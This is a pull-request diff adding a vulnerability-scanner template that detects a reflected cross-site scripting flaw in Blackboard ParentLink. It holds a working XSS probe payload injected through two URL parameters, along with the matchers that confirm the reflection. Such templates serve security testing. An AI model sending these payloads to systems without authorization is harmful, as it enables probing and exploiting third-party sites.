Merge pull request #1066 from r3naissance/master

Add teacherease-xss and parentlink-xss to /vulnerabilities/other/

vulnerabilities/other/parentlink-xss.yaml

@@ -0,0 +1,31 @@
+id: parentlink-xss
+
+info:
+  name: Blackboard ParentLink Reflected XSS
+  author: r3naissance
+  severity: medium
+  tags: blackboard,parentlink,xss
+  reference: https://help.blackboard.com/Community_Engagement/Administrator/Release_Notes
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/main/blank?message_success=%3Cimg%20src%3Dc%20onerror%3Dalert(8675309)%3E'
+      - '{{BaseURL}}/main/blank?message_error=%3Cimg%20src%3Dc%20onerror%3Dalert(8675309)%3E'
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - '<img src=c onerror=alert(8675309)>'
+        part: body
+
+      - type: word
+        words:
+          - "text/html"
+        part: header
+
+      - type: status
+        status:
+          - 200